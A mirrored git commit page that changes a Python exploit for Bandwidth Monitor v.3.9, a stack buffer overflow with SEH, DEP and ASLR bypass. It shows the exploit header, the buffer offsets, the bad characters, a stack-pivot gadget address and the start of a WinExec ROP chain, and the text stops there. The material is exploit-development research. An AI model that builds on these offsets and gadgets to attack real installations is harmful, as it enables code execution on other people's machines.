admin/VoidSec-Exploit-Development
1
0
Fork 0
mirror of https://github.com/VoidSec/Exploit-Development synced 2026-06-08 12:50:18 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update Bandwidth_Monitor_v.3.9.py

Browse Source
This commit is contained in:
VoidSec
2020-06-17 19:03:36 +02:00
parent 8a50995c4f
commit 5c23be3574
1 changed files with 6 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py
+6 -3
View File
@@ -1,7 +1,9 @@
"""
Full title: Bandwidth Monitor v.3.9
Exploit title: Bandwidth Monitor v.3.9 - Stack Buffer Overflow (SEH,DEP,ASLR bypass)
Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
Date: 17/06/2020
Vendor Homepage: https://www.10-strike.com/bandwidth-monitor/
Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe
Version: v.3.9
Tested on: Windows 10 Pro x64 v.1909 Build 18363.418
Category: local exploits
@@ -17,10 +19,11 @@ nseh_offset = 4188
land_address = 584
filler = 16
#Bad Characters: '\x00\x20\x0D\x0A'
# Bad Characters: '\x00\x20\x0D\x0A'
#0x01212870 : {pivot 2064 / 0x810} : # ADD ESP,800 # POP EBP # POP EDI # POP ESI # POP EBX # RETN ** [BandMonitor.exe] ** | ascii {PAGE_EXECUTE_READWRITE}
# 0x01212870 : {pivot 2064 / 0x810} : # ADD ESP,800 # POP EBP # POP EDI # POP ESI # POP EBX # RETN ** [BandMonitor.exe] ** | ascii {PAGE_EXECUTE_READWRITE}
# WinExec ROP
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [